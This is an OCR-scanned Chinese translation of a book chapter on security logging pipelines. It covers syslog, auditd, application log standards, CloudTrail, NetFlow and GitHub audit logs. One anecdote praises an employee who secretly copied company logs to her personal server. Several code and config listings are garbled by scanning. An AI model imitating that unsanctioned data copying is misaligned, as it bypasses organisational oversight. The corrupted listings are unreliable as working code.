将通过监控活动、定位异常、检测入侵来保护基础设施，并帮助它从安全事件中得 

以恢复。你将把工作从CI/CD/IaaS流水线中的集成控制转向搭建独立的安全服务, 

这些服务旨在保护组织的核心应用。

第2部分ー共有4章。第7章和第8章的重点将聚焦在各个层级的日志上。第 

7章将介绍一条完整日志流水线的架构：从五花八门的组件中收集日志，通过处理 

服务串流起它们,然后将它们保存起来供日后调查所用。第8章中我们将聚焦于日 

志流水线的分析层,它通过实时处理日志事件，以及触发运维人员告警来实现异常 

和欺诈检测。在第9章我们将探讨在网络、系统、应用及基础设施这些层级中的入 

侵检测技术。第2部分以第10章作为结尾,其内容是一次安全事故的案例研究，我 

们将讨论应对安全事件并从中恢复的各个阶段。

兵贵神速，这样才能防范欺诈和滥用。在第2部分,我们的目标就是搭建一个 

足够快速、精确和灵活的监控基础设施，随时为组织的服务提供保护。





本章内容包括

・搭建包含五层结构的现代化日志流水线

■ 收集系统、应用、基础设施及第三方的日志

・ 使用消息代理将日志从生产者传递给消费者

・ 理解通过执行特定任务的模块来分析日志的技术

・ 了解如何高效地存储日志并实现留存策略

・ 评估既能访问原始日志又能呈现可视化指标的工具

你可能已经意识到了,所有应用和系统中的日志都应该被收集,但你一定还想 

知道为什么需要这些日志,需要哪些类型的日志，以及需要多少日志。我们将用ー 

整章的篇幅来讨论一条现代化的日志流水线是什么样子的，以及哪些日志应该发给 

它，但在开始之前，请让我从安全工程师的视角来说明记录日志的目的。

我曾经处理过一起安全事件:特权用户账户的访问权限被泄露，导致秘密信 

息被披露给了攻击者。这次事件非常严重，许多人都被发动起来调查事件造成的 

影响。每个人都急得团团转，都想去解答这些显而易见的问题:这是怎么发生的? 

披露的数据有多少？泄露发生了多久?我们应该如何向用户和媒体解释？我们能 
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挺过去吗？

这听起来有些耸人听闻,但是却毫不夸张。这样的事件会让人们感到惊慌失措。 

我ー边在聊天窗口和发送电子邮件的页面中来回切换,ー边通过运行脚本和命令来 

挖掘日志,以便寻找泄露的源头……直到日志归档全部被梳理完毕。

出于节约成本的考虑,我们将Apache访问日志的归档的存储时间限制在90 
天，但泄露早在90天之前就发生了。如果没有这些必要的信息,我无法评估事件 

的规模。正当我做好准备要与高层人员展开ー场不那么愉快的对话时，一位同事 

拯救了我。

在她看来，存储限制非常愚蠢。为什么只保存90天的日志，而1TB硬盘的价 

格连100美元都不到。她悄悄地编写了一个脚本，没有告诉任何人，每天将日志加 

密并传输到她的个人服务器上。她的存档可以追溯到数年之前，而我们价值百万美 

元的企业存储只能保存90天！

我用她的日志备份追踪到了泄露的源头,并隔离了涉事攻击者的IP地址。我们 

不仅将事件的范围缩小到了一些特定账户上，并确保这些账户被封锁起来,还准确 

地评估了泄露数据的规模。如果没有长期留存的访问日志，这一切都是痴人说梦。

老练的安全团队知道良好的日志实践对事件调查的重要性。领先于业界的安全 

控制也许能降低泄露发生的可能性,但是如果没有日志，那么安全团队在应对攻击 

时就会举步维艰。本章我将介绍以日志记录架构为中心的先进概念。

你可能十分熟悉传统的日志记录方法:将从各种来源收集到的日志消息集中到 

一台中央服务器上，并进行归档。这种形式的日志记录聊胜于无，但现代化的架构 

还远不止这些。图7.1展示了一条现代化的日志流水线的五个核心组件,如下所述 ：

• 收集层,在应用、系统、网络设备和第三方中生成日志,并转发给ー个中央 

地点。在7.1节中,我们将讨论日志收集到的细节并列举岀确保能捕获到的 

日志类型。

• 日志消息被收集之后,它们被传递给串流层，这ー层通常用消息代理实现, 

例如RabbitMQ或者Apache Kafka。串流层的作用是将日志集中到一条流水 

线中进行路由处理。

• 日志的处理在分析层中完成。现代化的日志流水线和传统技术从这里开始显 

现出了不同。分析层由小程序组成，这些小程序将消耗日志消息并对它们执 

行特定的任务。有些是将日志保存到数据库里，有些是计算统计数据,还有 

ー些可以专门用来查找异常、欺诈和攻击模式，这些我们要特别关注。

• 接下来是存储层，尽管乍看起来是个简单的概念，海量的日志,毫无疑问会 

让这ー层的处理变成一个有意思的挑战。在过去，日志会一直留在磁盘文件 

中直到被清除。现在,常见的做法是将最近的日志加载到数据库中以便提供
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快速访问，并将较早的日志归档到更慢、更难于访问的存储地点。

•最后，访问层会提供ー个界面给运维人员,让他们从不同的角度对日志进行 

分析。如果一切顺利，仪表盘一般就是人们想看到的界面,不要低估访问原 

始日志的友好界面的重要性:简单的UNIX工具オ是调查人员最好的朋友， 

比如grep、sed> awk，并加上几行bash脚本。

基础设施中的各处的 

组件将日志转发到一
个中央队列中“

消息代理将日志事 

件从生产者路由到 

消费者

曰志事件由专门处理日志会被保存在数据运维人员可以使用仪表盘和 

特定任务的小型分析 库中一小段时间，然 专用终端来查询原始日志和 

程序处理， 后被归档存放更长的可视化指标。

时间。

图7.1现代化的日志架构由五个层次组成,它们收集、串流、分析、存储并访问日志事件。这 
个架构虽然复杂，但是在操作日志时却提供了很大的灵活性。

这种架构很复杂,需要投入一定的时间和资源才能实现。在接下来的几节里, 

我们将分别讨论每ー层,并指出如何将其构建到你的基础设施中。好在这样的日志 

流水线是高度模块化的,并且可以随着你的组织有机地进行扩张。

在接下来的这ー节里，我们将聚焦在收集层,并讨论和安全调查有关的日志类型。

7.1 从系统和应用中收集日志

大多数软件都会产生日志,无论它是运行在ー个特殊的网络设备里,还是在 

Linux服务器上作为网站来提供服务，又或是运行在Linux自身的内核里。找到并 

收集这些日志是我们搭建流水线必须要迎接的第一个挑战。如图7.2所示，在实现 

流水线中的收集层时，我们要覆盖四大类日志:

• ー个服务的系统通常运行的是Linux,而Apache和Nginx这样的Web服务器 

会生成大量信息。Web服务器生成的访问日志或许是需要收集的最重要的日 

志类型，但并不是唯一需要收集的日志。Linux内核自身生成的审计日志也 
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有很高的安全价值。要收集所有这些日志,我们需要使用标准的syslog日志 

工具和一个将事件转发给串流层的日志路由器。

•从应用中收集日志是Web服务构建过程中的一个复杂但重要的方面。如果环 

境中的应用是内部开发的,我们就可以决定哪些事件需要记录，并以哪种格 

式记录，这将大大有利于我们在流水线中去进一步开展安全工作。当使用采 

购的应用时，日志格式通常由供应商决定,而且一定会各不相同,但是可以 

使用日志收集设施将日志统ー规范成标准格式。

•基础设施也会产生日志，其中还包含着许多有意义的安全信息。网络设备可 

以生成关于流量的日志，这些日志是在协议栈最底层度量而得到的。AWS这 

样的laaS供应商会审计每个操作的痕迹,其中包含了完整的基础设施活动历 

史记录。我们将在フ.3节讨论这些日志类型。

•最后我们将研究从GitHub这样的第三方服务捕获日志并转发到流水线中的方法。

图7.2现代化日志流水线的第一层聚焦于从参与服务运营的系统、应用、基础设施和第三方收 
集日志消息。日志被收集起来并转发给串流层中的中央消息代理。

在本章,我们的重点是为了保护Web服务而收集日志，这些服务主要由Linux 
系统和网络设备组成。我们不会讨论如何收集终端用户的机器中的日志，比如为了 

保护办公网络或企业环境而收集日志，也不会讨论如何从macOS和Windows系统 

中收集日志。并不是说这些日志对组织的安全性不重要，只是在主要基于Linux系 

统的云服务中很少使用它们。
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我们依次来看看这四个类别,首先从系统日志开始介绍。

7.1.1从系统中收集日志
你可能想要从系统中收集两大类日志。第一类,也是最常见的基于UNIX的系统， 

是syslog。第二类方法更先进,是对安全调查更有用的系统调用审计日志。我们先 

从syslog开始介绍。

syslog
大多数读者对自己Linux系统中的/var/log目录下的内容并不陌生,而且很有 

可能还不止一次地配置过syslog来守护进程(rsyslog, syslog-ng,等等)，所 

以我长话短说:syslog是UNIX系统日志记录的标准,绝大多数服务器软件都会实现。 

应用可以将消息通过514端口的UDP协议(有些syslog守护进程还支持TCP协议) 

发送给syslog守护进程。代码清单7.1展示了一段代码示例，将Go应用中的日志 

消息发送给syslog。如你所见,实现起来很简单。

代码清单7.1几行G。代码就可以发布消息给syslog

package main
import (
"log"
"log/syslog"

)
func main() {
slog, err ：= syslog.Dial(
"udp",
1•localhost ： 514,,,
syslog.L0G_L0CAL5|syslog.LOG_INFOZ
•'Secur ingDevOpsSy slog")

defer slog.Close()
if err != nil {
log.Fatal(nerror：", err)

)
slog .Alert (*'This is an alert log0) 
slog.Info("This is just info log")

)

初始化连接到syslog守护进程的 
UDP连接。

I以alert级别发布一条日志消息。

""---- ,以!nfo级别发布一条日志消息。

在ー个运行着rsyslog守护进程的标准Ubuntu系统上，运行以上代码会产生 

两条日志消息，它们被发布到了本地机器的/var/log/syslog中。

代码清单7.2 syslog消息示例

Nov 22 07:03：06 gator3 SecuringDevOpsSyslog[32438]： This is an alert log
Nov 22 07:03：06 gator3 SecuringDevOpsSyslog[32438]： This is just info log
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syslog格式支持两种分类参数，ー个是设施,另一个是严重级别：

•设施表明了发布日志的应用类型。

•严重级别表明了记录的事件的重要性。

syslog守护进程通过使用这两个参数来决定如何处理日志消息、。在代码清单7.2 
中，两条日志消息都被写入了/var/log/syslog中，但一条简单的过滤规则就可以将 

alert级别的日志写入不同文件中，或是将其直接通过邮件发送给运维人员。代码清 

单7.3展示的就是ー个写好的过滤器，通过rsyslog守护进程将alert日志捕获到/ 

var/log/app-alerts.log 中 〇

代码清单7.3 rsyslog过滤器用于路由发送给!ocal5设施的alert日志

locals.=alert -/var/log/app-alerts.log

syslog在UNIX应用中随处可见，而捕获这些日志就可以轻松地迈出实现的第 

ー步。在许多Linux系统上，开启UDP端口 514就能够将日志收集到/var/log中。在 

Ubuntu系统上，必须修改rsyslog的主配置文件/etc/rsyslog.conf,如代码清单7.4所示。

代码清单7.4在/etc/rsyslog.conf中启用UDP端口 514来收集日志的配置

# provides UDP syslog reception 
module (load= *' imudp")
input(type="imudp" port="514")

在每个系统上，运行着的syslog守护进程一旦捕获到日志，那么只用配置一下 

就可以将日志消息转发到ー个中央地点。但是还有一个悬而未决的问题要转发 

的日志有哪些。简单的答案就是先将所有日志都转发给日志流水线，然后逐步过滤 

掉那些没有意义的日志，或者是那些量多到无效的日志。很难提前预知哪些信息在 

调查时オ是有用的,因此记录下的日志总是要比刚好满足需要的日志多一些。基于 

我多年阅读安全事件日志的经验,下面这几类日志在调查工作中的重要性已被充分 

地验证过：

• 系统上打开的会话，不管是通过SSH打开还是直接通过控制台打开。用 

syslog的术语来说，要捕获发送给auth和authpriv设施的消息,它们通 

常被发布到/var/log/authv.log (Debian/Ubuntu 上)或 /var/log/secure (Red Hat/ 
Fedora 上)中。

«和系统主要功能有关的日志：对Web服务器来说,是来自Apache或Nginx 
的访问日志：对邮件服务器来说,是来自Postfix或Dovecot的守护进程日志, 

等等。这些日志存放的位置由系统配置来决定。
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• 系统守护进程发布的标准日志通常会包含有用的信息,这些信息由基本系统 

中的程序捕获。在Debian/Ubuntu上,你可以在/var/log/syslog中找到这些信 

息。在 Red Hat/Fedora 上，你可以在/var/log/messages 中找到。

• 如果系统运行着防火墙，比如nftables，要确保安全敏感事件能被记录下来并 

将它们收集到流水线中。比如，你可以在防火墙断开连接时生成日志，这是 

异常网络活动的迹象。防火墙日志可能会产生很多噪声，要注意选择特定的 

事件。

syslog日志的1024字节限制
syslog标准的消息长度限制为1KB （ 1024字节,链接7.1 ）。超过长度限制 

的消息要么被截断,要么被分成多行日志来保存、现代化的syslog守护进程会 

使用TCP传输协议来突破这种限制,但很多应用仍然会墨守1 KB的限制。而 

且，使用UDP传输协议并不能保证消息的顺序“ syslog应该只用于本地日志 

记录，而更现代的日志传输协议（如用TCP传输的JSON或者protobuf消息） 

应该被用在将消息发送给流水线的下ー层。

Linux上的系统调用审计
系统日志存在的ー个问题是事件粒度不一致。有些应用可以在最恰当的级别记 

录下活动的所有细节，而另ー些肯定只能记录无用的消息。遗憾的是,在调查安全 

事件时发现日志中缺少必要信息的情况是太常见了。

在Linux系统中，有一种方法可以捕捉到系统活动最详尽的信息:syscall审计。 

除捕获系统日志之外，我们还可以捕捉这些审计消息，增进我们对系统行为的了解。 

syscall,即系统调用,是操作系统内核与执行用户特定任务的程序之间的编程接 

ロ 〇应用或用户界面在每次打开网络连接、执行命令、读取文件或是执行其他任务, 

并需要与内核进行交互时，都会用到syscall。Linux内核提供了数百个系统调用, 

而系统调用审计可以捕获全部相关信息，帮助我们重建某个特定时刻系统活动的 

精准视图。

Linux保留了哪个syscal!就是由哪个程序执行的，并允许审计工具获取这些信 

息。auditd就是审计工具中的一个,它从内核获取系统调用信息来进行操作，如图7.3 
所示。
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图7.3应用通过系统调用来访问Linux内核的功能。内核将捕捉到这些调用并转发给auditd应 
用，auditd应用将它们记录到本地并转发给串流层。

代码清单7.5展示了在用户sam通过SSH连接到系统时,auditd所生成的一段 

日志示例。日志事件包含了执行该操作的进程信息（以uid 0即root用户运行的 

Pid 14288）,还包含了用户sam使用SSHD打开会话的详细消息。

代码清单7.5在SSH连接到系统时,由auditd生成的日志事件示例

「带时间戳的消息头。

type=USER_START msg=audit(1455852000.375:2854):
pid=14288 V-------------------------------------

请求系统调用的进程PID。

____ uid=0
msg=1op=PAM：session_open

进程的用户 grantors=pam_selinux,pam_loginuid,pam_limits,
|n pam_systemd,pam_unix,pam_lastlog

acct=Msamn
exe=n/usr/sbin/sshdM

tei?minal=ssh
hostname=93.184.216.34
res=success'

操作细节表明 
身份验证子系 
统授予了 sam 
访问SSH会话 
的权限。

syscall审计比普通日志强大得多,其原因是这些数据由内核直接生成。一方面, 

应用无须记录这些特定事件,也无法阻止内核记录它们的活动。另ー方面,syscall 
审计有两个主要的缺点:

•操作系统在正常活动过程中所产生的系统调用数量绝对是惊人的。Auditd实 
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现了一个规则系统来对事件进行过滤,并且只记录那些特定的事件，这可以 

减少日志的数量，但ー个繁忙的系统依然不得不在系统调用审计上耗费大量 

的资源。

«审计日志与任何应用上下文都是分离的。你可能会收到告警——Apache正在 

读取/etc/shadow的内容，但是如果没有Apache日志，该操作的原因就是无 

法得知的。

我曾经处理过ー些事件，在寻找问题根源时审计日志派上了大用场。它们还能 

提供ー套检测入侵和异常的可靠机制。在构建了能够收集、分析和存储那些基本的 

日志类型的基础设施之后，系统调用审计将适用于更成熟的日志流水线开发，组织 

要着手解决这个问题。

在应该尽早收集的日志类型中，最重要的恐怕就是应用日志了。

7.1.2收集应用日志
应用日志オ是欺诈和异常检测策略的主角。系统日志往往被限制在系统开发人 

员认为值得记录的范围内，导致系统日志没有多少机会去迎合运营商自己的需要 。 

为了特定业务目标而做的内部开发的应用并没有这些限制，开发者可以记录安全团 

队要求他们记录的任何内容。我们将讨论应用应该记录的内容，但在此之前，我们 

先对应用记录日志的方式达成一致。

应用日志标准

在前面的小节中，我们讨论过通常系统守护进程是如何将它们的日志发给 

syslog来进行存储并进行集中处理的，也提到了 syslog的限制。对应用来说，支持 

将日志输出到UDP的syslog目的地的情况仍然十分普遍，但现代应用越来越倾向 

于将日志写入标准输出信道，而完全忽略syslog。

运行在Docker容器内的应用，或者是由systemd启动的应用，其标准输出和标 

准错误将被自动捕获并写入日志记录。在Docker中,这是由docker logs命令 

来处理的。systemd则通过journalctl命令访问日志。这些机制简化了开发人员 

的工作,他们只用将日志打印到应用的标准输出中就行了。然后运维人员可以决定 

如何处理这些记录，并正确地进行路由。日志路由是运维人员要考虑的事情，而开 

发人员不应该关心基础设施使用哪种技术将事件收集到了日志流水线中。

现代应用记录日志的第一条规则是:将日志写入标准输出,让运维人员来考虑 

把它们路由到正确的目的地，无论是使用syslog,还是更成熟的消息队列协议。

将日志记录到stdout还解除了 syslog强加的1KB的长度限制，应用想记录 

多少信息就可以记录多少信息。尽管很难定义应用应该实现的日志存储标准，但我 
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们仍然可以制定一些有助于日志处理的通用规则:

• 以结构化的格式发布日志。JSON、XML、CSV,或者是任何开发人员认可 

的格式，而且还要在整个组织内达到统ー。JSON现在十分流行,在应用中 

的实现也很简单。

• 规范时间戳格式标准。时间戳的写入和解析可能是计算机科学领域里最困 

难的问题之一。尽量不要处理时间戳,而是让整个组织采用RFC3339 （链接 

7.2）,它定义了时间戳标准格式，其中包含了时区信息，而且会精确到纳秒（例 

如：2016-11-26T18:52:56.262496286Z）〇 还有一点，要用自协调世界时（UTC, 
Coordinated Universal Time）时区记录日志,因为谁也不想在解析日志时换算时区。

・ 通过定义强制字段来识别事件来源。应用名称、主机名、PID、客户端公开IP等, 

它们都是不错的选择。ー个日志事件应该包含足够的信息,在另一端的日志 

流水线上,即使没有应用上下文这个日志事件也应该能够被理解。

• 允许应用自己加入任意数据。你不可能标准化所有信息，每个应用都应该有 

自己的空间来保存遵循自定义格式的信息。但这些信息仍然需要结构化,比 

如使用自定义JSON对象来表示，但应用与应用之间的格式可以不一样。

开发人员、运维人员和安全工程师应该共同为组织制定一个合理的标准。我 

们在Mozilla将其付诸实践时,我们得到了一组以JSON格式编码的基础字段,叫 

作mozlog，所有后端服务都要能够实现它（链接7.3）。代码清单フ.6展示了一个 

mozlog格式的事件示例。

代码清单7.6展示标准字段的mozlog格式的应用日志示例

日志时间戳的UNIX纳秒格式和 
RFC3339 格式。

_I { "timestamp": 145767775123456,

"time"： "2016-11-26T13：55：16Z"z
"type"： "signing.log",
11 logger " ： " autograph",
"enwersion" ： "2.0",
"hostname"： "* * *.dev.aws.moz.example.net",
"pid": 11461
"fields"： {

通过其类型、来源应用和版本 
来标识一条日志的标准字段。

产生日志的机 
器的主机名。

1生成日志的进程的PID。

"msg"： "signing operation from alice succeeded"
形式不限的日志消息。

这个例子包含了足够多的信息,在没有上下文的情况下也依然可以理解:即使 

不知道autograph （logger字段的值）是什么，你也可以从日志推断出这里发 

生了一次签名操作，还可以确定这次操作发生在何时何地。mozlog标准没有给出包 
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含日志正文的fields部分的定义，并留出了空间让每个应用自己酌情处理。开发人 

员可以在不破坏标准日志格式的情况下,通过添加更多fields来丰富他们的日志。

安全团队应该积极地参与日志标准的制定和管理。和开发人员及运维人员ー起 

制定标准,编写有助于日志发布的工具,这些都是营造协作文化的不错手段。如果 

组织主要使用的是一到两种编程语言，开发人员就可以将这些库导入到他们的程序 

中,以正确的格式发布日志。不要吝惜流水线上的这部分投入，因为和解析格式迥 

异的日志相比,发布标准格式的日志成本要低得多。

解决了标准化这个拦路虎之后,我们来讨论应用应该记录并转发到流水线中的 

事件类型。

选择要记录的安全性事件

对于应用应该记录多少日志这个问题，每个开发人员都有自己不同的答案。日 

志由需求和程序员的经验决定，这和大多数编程中的事情没什么两样。你会发现有 

些应用日志极其详尽（OpenLDAP就是这样），而另ー些应用在整个执行过程中几乎 

“吐”不出一行日志。

通常，只有出现了问题，或是在有人要求时，事件オ会被记录下来。你不应该 

期望开发人员知道要记录哪些事件——尽管经验丰富的开发人员一定知道，但你也 

应该定义ー份值得记录的事件清单。

关于应用应该记录的安全性事件，OWASP组织提供了两份资源来帮助你做决 

定，在第3章讨论应用安全性时我们提到过该组织。OWASP日志速查表（链接7.4） 
是其中较简单的ー份，它提供了一份应用应该记录的事件的概要清单 ：

・ 输入校验失败，例如，违反的协议、不被接受的编码、无效的参数名称和取值。

・ 输出校验失败，比如数据库记录集不匹配、无效的数据编码。

・ 身份验证成功和失败。

• （访问控制）授权失败。

« 会话管理故障，例如，对cookie会话识别值的修改。

・ 应用错误和系统事件，比如语法和运行时错误、连接问题、性能问题、第三 

方服务错误消息、、文件系统错误和配置变更,以及在文件上传时发现病毒。

・ 应用及相关系统的启动和关闭，以及日志初始化（启动、停止或者暂停）。

• 高风险功能的使用，例如，网络连接、用户的添加或删除、权限修改、token 
用户分配、token的添加或删除、系统管理员权限的使用、对支付卡持卡人数 

据的访问、数据加密密钥的使用、密钥的变化、系统级对象的创建和删除、 

数据的导入导出（包括展示在屏幕上的报告）、用户生成内容的提交一特别 

是文件上传。

• 法律和其他选项，如使用手机功能的权限、使用条款、条款和条件、个人数 

据使用许可和营销信息的接收许可。
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记录下所有这些信息,就可以覆盖大多数应用应该关注的安全事件了。将这份 

清单变成检查项清单是ー个不错的开始，开发人员可以在构建应用时逐条检查ー遍。

AppSensor项目是OWASP （链接7.5）提供的第二份资源。这份200多页的 

文档描述了一套复杂的方法,应用能够使用复杂的日志和事件分析技术来检测和 

应对攻击。AppSensor是为成熟应用设计的,完整的实现需要投入大量时间和资源。 

其中,ー份作为参考材料提供的检测点清单同样也是一个不错的开始,它提供了 

另ー份值得记录的事件的检查项清单：

•请求——在HTTP请求中可以发现ー些异常,比如使用的方法不正确,必要 

的数据没有提供,等等。

• 身份验证——在用户登录时出现的各种类型的故障。

,会话--- 与正常应用行为不符的会话cookie修改。

«访问控制——违反应用资源的限制。

• 输入——检测到不正确的格式或者不合法的用户输入。

・ 编码一用户在正常情况下不会触发的不正常的编码问题。

• 命令注入——看起来像SQL注入或者空字节注入的输入。

• 文件IO——违反文件上传的限制。

• 蜜罐陷阱——被当作陷阱，不该被任何人访问的资源。

• 用户趋势——与正常用户会话不符的速度和频率的变化。

• 系统趋势——增长超出正常值的活动。

• 声誉——不受信任的来源或参数。

这份AppSensor文档（在本书编写之时是版本2）为每ー种事件类别提供了详细 

的说明和示例,其目的是强制应用记录下所有可以用来检测攻击的事件（被称为异常）。

对于小体量的应用来说,这两份检查清单也是记录安全事件的起点。作为练习， 

试着列出发票应用应该记录的用于检测异常活动的事件。

系统和应用日志包括了日志流水线应该收集的大部分事件。然而,还有一些 

鲜为人知的事件也能在调查安全事件时发挥作用。在下面这一小节，我们将讨论如 

何在两个级别收集基础设施中的信息：用AWS CloudTrai!收集!aaS日志，以及用 

NetFlow协议收集网络日志。

7.1.3基础设施日志
只有当底层的基础设施的安全得到保障之后，才能从系统和应用中捕获日志事 

件。如果攻击者获得了管理这些系统的组件的访问权限，那么就可以在不引起任何 

人注意的情况下禁用日志。因此,收集底层基础设施组件中的日志十分重要。这ー 

小节我们将讨论如何使用AWS CloudTrail和NetFlow来收集这些日志。
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AWS CloudTrail
AWS是成熟的平台，它通过CloudTrail服务提供了所有基础设施组件的详尽的 

审计日志。因为,AWS中的一切都要通过API来访问，即便是在Web控制台中执 

行的操作也不例外。Amazon记录下了所有AP!操作,并在CloudTrail服务中将这 

些日志开放给它的客户。启用CloudTrail之后,它将保留该账户的全部历史记录, 

这些信息在调查安全事件时是无价之宝。

代码清单7.7展示了 AWS提供的CloudTrail日志的示例。它记录了 sam执行 

的一次角色切换操作，从ー个AWS账户切换到另ー个。注意CloudTrail与事件一起 

存储了多少细节。原账户和目标账户,还有用来执行这次切换的角色都出现了。客 

户端的IP和User Agent都被记录了下来,时间戳也以UTC时区的RFC3339格式保 

存下来。这样的日志再明了不过了!

代码清单7.7记录了角色在两个AWS账户之间切换的CloudTrail事件

CloudTrailEvent11 ： {
"eventVersion"： "1.05",
"useridentity"： {
"type"： "AssumedRole", ◄-
"principalld"： "AROAIO：sam",

当前记录的操作是AssumeRoleo

I请求这次操作的用户是sam

"arn"： "arn：aws：sts：：90992：assumed-role/sec-devops-prod-mfa/sam",
"accountId": "90992"

},
"eventTime": "2016-11-27T15：48：39Z",

操作的时间戳。

"eventsource ": *'***. amazonaws. com",
"eventName"： "SwitchRole",
"awsRegion"： "us-east-1",
"sourcelPAddress": "123.37.225.160",
"userAgent": "Mozilla/5.0 Gecko/20100101 Firefox/52.0",
"requestParameters"： null,
"responseElements"： {
"SwitchRole": "Success" <

),
"additionalEventData n： {

'•SwitchFrom" ： "arn： aws ： iam： ： 37121 ：user/sam",
"RedirectTo"： "https：//console.***.amazon.com/s3/home"

}.
"eventID"： "794f3cac-3c86-4684-a84d-1872c620f85b"z
"eventType"： "AwsConsoleSignln",
MrecipientAccountId": "90992"

レ
"Username"： "sam",

I请求操作使用的浏 
览器和源IP。

)

"EventName"： "SwitchRole",
"EventId": "794f3cac-3c86-4684-a84d-1872c620f85b",
"EventTime": 1480261719,
"Resources"：[]
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所有AWS账户都应该启用CloudTraiし该服务可以将审计日志写入一个S3存 

储桶中,通过存储桶将它们转发到日志流水线上。AWS在关于CloudTrail的文档里 

提供了更多关于如何用最好的方式管理它们的信息（链接7.6）。

这些日志只有一条限制:它们不是实时的。AWS在每10 ~ 15分钟オ写入一次 

CloudTrai!日志,在创建这些日志进行即时调查时并不提供串流方法。这会让攻击 

者有机可乘，在还没被发现之前的这一小段时间窗内对账户进行攻击。

注意 除了 CloudTrail, AWS还为不同的服务提供了有针对性的日志,这些服 

务包括:S3、RDS、ELB ,等等,服务日志各有各的格式,运维人员必须为每ー种 

格式定制收集器,但这些日志确实存在并且应该被收集到流水线上。

AWS设定了审计的标准,但并不是唯ーー个为用户提供类似日志的服务。另ー 

个保留了用户活动记录的服务是GitHubo

用NetFlow记录网络日志
我曾经帮助一个组织调查数据库泄露事件。那次事件并不是由安全漏洞引起的 ， 

而是由一段脚本故障造成的，这段脚本的任务是导出MySQL数据库,对数据进行 

清洗,并将结果发布到公开网站上。不知道为什么，这段脚本没有执行清洗步骤, 

而是直接将填满了密码哈希和邮件地址的转存数据发布到了互联网上。

调查小组开始搜寻日志，想查明是否有人在转存数据发布的前几天就已经下载 

了这些数据,结果发现这个Web服务器没有访问日志。当我们准备放弃时,一位同 

事提到我们可以使用NetFlow日志来追踪下载。NetFlow是ー种路由器和网络设备， 

用来记录网络连接的日志格式。NetFlow日志携带的信息量有限，只会捕捉关于连 

接的最基本的信息：

• 开始时间。

,时长。

・ 协议。

• 来源IP和端口，以及目的地1P和端口。

• 数据包的总数。

・ 字节总数。

它不是一个非常详细的格式，但它提供了足够的信息来找出连接的来源、目 

的地及大小。因为我们一旦知道了转存数据的大小，我们就能知道一次下载连接要 

传输的数据有多少。我们列出了那些在转存数据发布以后下载了整个归档文件的全 

部连接,将来源IP的数量缩减到了个位数。在验证完这些IP都属于已知的、受信 

任的个体后，我们就确定了数据没有被泄露,并结束这个安全事件。NetFlow属于 

laaS引导我们应该外包出去的网络层，这可能是DevOps组织通常不会用到它的原 
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因。但它依然是一个强大的工具,可以用于检测基础设施中的异常活动和调查攻击。 

了解它的使用方法是大有裨益的,这在我的经历中已经得到了印证。

代码清单7.8展示了 NetFlow日志的ー个例子。如你所见，字段捕获的上下文严 

重不足,只能通过对比时间戳和IP地址来ー个ー个地将NetFlow事件联系起来。信息 

虽然很少，但在调查事件时它却可以派上用场，而且它还可以根据特定的连接模式触 

发告警。

代码清单7.8远程主机和SSH服务器之间连接的NetFlow事件

Date flow start Dur Pro Src IP：Port ->Dst IP：Port Packets Bytes
20160901 00:00:00.459 9.7 TCP 8.7.2.4:24920->10.43.0.1:22 1 86 928731

AWS是少数支持NetFlow的!aaS提供商之一，它允许运营商在其（虚拟）基础 

设施中收集事件。在AWS上，NetFlow日志能在ー个指定的VPC （Virtual Private Cloud, 
虚拟私有云，AWS对客户网络的逻辑划分）中收集。你可以通过配置整个VPC,或是 

指定的子网,或是单个网络接口来生成NeFlow事件，并将它们收集到日志流水线中。

需要提醒一下，NetFlow日志很快就会变得很多,同时在所有地方启用它通常 

是不切实际的。选择ー些有必要收集NetFlow事件的基础设施组件,并从那里开始， 

随着日志流水线的扩张来逐步扩大收集的范围。

到目前为止，我们关注的都是自己可以控制的日志，但是现代DevOps组织 

越来越多地依靠第三方来代表它们去执行大量工作。在第2章里，我们看到了在 

DevOps流水线中，GitHub和Docker Hub占有举足轻重的地位。在下ー节，我们将 

简要地介绍GitHub生成的日志。

7.1.4收集GitHub日志
当决定将一部分职能外包给第三方时,提供该职能的服务的运营安全性也就被 

ー起外包出去了。第三方的运营对我们来说不够透明，我们得仰仗它们来做出正确 

的安全决策，并保证基础设施的安全。

然而，我们应该监控对第三方服务的使用，并确保用户账户得到了妥善管理, 

并且凭证能够被安全地保存，以及使用服务的完整性没有遭到破坏。

这样做需要保留第三方服务的使用记录,而这又得完全依靠服务提供商来发布 

这些可供收集和查看的日志。在这一点上，不是所有提供商都能像AWS那样提供 

了详尽的审计日志，对于指定账户，最近有没有被访问过，其他ー些供应商甚至都 

无法提供相关的信息。

本节我们将着眼于GitHub，它是另ー个提供了审计日志的第三方服务的例子。 

我们应该收集这些日志并注入我们的日志流水线中。和AWS类似，GitHub提供的 
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审计日志聚焦在AP!和Web界面的互动上。这些日志虽然没有CloudTrail那么详细， 

但仍然包含了有用的信息,可以用于调查用户在代码仓库中的活动。

代码清单7.9展示的例子是webhook在被添加到发票应用的代码仓库时,由 

GitHub记录下的事件。日志包括的信息（链接7.7）足够找出是谁执行的操作,操 

作的是哪些资源,还有操作是哪一天执行的。

代码清单？,9记录了由webhook创建的GitHub审计日志

执行操作的用户。

"actor" ： " jvehent"---- 1
"data"： {
"hook_id": 8471310,
"events":[
"push", 
"issues',, 
"issue_comment", 
"commit_comment", 
"pull_request", 
"pull_request_review_comment", 
"gollum", 
"watch", 
"fork", 
"member", 
"public",
"team_add", 
"status", 
"create", 
"delete", 
"release"

]
},
"org"： "Securing-DevOps",
"repo"： "Securing-DevOps/invoicer" 
"created_at": 1463781754555,
"action"： "hook.create"

这是被记录下来的操作的主体，展 
示了哪些GitHub动作会触发这个 
已被创建好的webhook的细节。

わ操作发生在哪个仓库中。

)

你可能注意到了,created_at时间戳并没有包含时区信息，而是只包含了一个 

UNIX时间戳。这是可以接受的，因为UNIX时间戳表示UTC1970年1月1日〇点〇分 

0秒起经过的秒数。UNIX时间戳一直使用的是UTC时区，因此转换起来会很容易。

注意 在本书编写之时，GitHub还没有提供能获取审计日志的自动化方法,而是 

要求用户通过Web界面来下载。当你在阅读这本书时，它可能已经有了新的变化し

1 GitHub已经提供了获取审计日志的GraphQL API,但只支持使用GitHub Enterprise的组织，请参考 
链接7.8。——译者注
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我们可以继续评估其他的服务提供商,但你应该已经有了思路：让第三方将审 

计日志交给你,并将其收集到日志流水线中。对于各种不同的基础设施组件,你了 

解得越多越好。

你对需要收集的日志类型已经有了一定的理解,现在让我们进入第二层，谈谈 

怎样通过流水线来串流日志消息.。

7.2通过消息代理串流日志事件
在本章的第一部分，你可能已经注意到了需要收集的日志信息量实在是太大了。 

要从如此多的来源去收集事件，大多数成熟的日志基础设施也会被事件所淹没，而 

